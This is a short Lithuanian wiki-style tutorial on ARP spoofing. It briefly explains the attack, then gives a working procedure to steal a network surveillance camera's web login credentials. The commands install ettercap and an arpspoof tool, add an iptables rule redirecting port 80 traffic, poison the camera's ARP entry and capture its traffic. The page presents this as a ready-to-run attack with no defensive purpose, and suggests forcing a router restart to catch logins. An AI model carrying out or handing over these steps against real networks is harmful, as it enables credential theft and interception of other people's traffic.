ARP Poisoning
Kompiuteriniuose tinkluose, ARP spoofing, ARP cache poisoning ar ARP poison (nuodyjimas), ARP poison routing - meistriška technika, kurią pasitelkus įsibrovėlis siunčia netikras (spoofed) ARP (Address Resolution Protocol) žinutes į lokalų tinklą. Ši technika veikia taip: įsibrovėlio MAC adresas susiejamas su IP adresu kito hosto, pvz išeities šliuzo (gateway). Visas srautas skirtas tam IP adresui keliauja pas įsibrovėlį.
ARP spoofingas leidžia įsibrovėlui nukreipti į save visą aukos srautą, tokiu atveju įsibrovėlis gali stebėti srautą, keisti srautą, užrausti jį arba pasinaudoti viena iš kitų būdingų atakų pvz.: Denial Of Service, Man In The Middle arba sesijos perėmimo (session hijacking) ataka.
Ataka veiksminga tiktai tinkluose kuriuose naudojamas ARP (Address Resolution protokolas) ir apsiriboja veikimu tiktai lokalaus tinklo segmentuose.
Intro[keisti]
Tikslas: gauti stebėjimo kameros esancios tinkle, web interfeiso prisijungimus (username, password) ip: 192.168.1.51
- Tinklo konfiguracija:
- subnet: 255.255.255.0
- router: 192.168.1.1
Diegimas[keisti]
Susidedam tinklo irankius
apt-get install build-essential ettercap git clone https://github.com/smikims/arpspoof.git cd arpspoof make
Panaudojimas[keisti]
Redirektinam 80 (http) porto srauta i 1024 porta
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024
Nustatom arpspoof
./arpspoof -i eth0 192.168.1.51
Gaudom srauta
ettercap -Tq -i eth0 -w capturas
Kai vyksta routerio atsijungimas, arba jeigu turime prisijungimus darome restart. Tuo metu jeigu kas nors jungsis i webcam'a, srautas redirectinisis i musu paketu stebejima. Gauname srauta...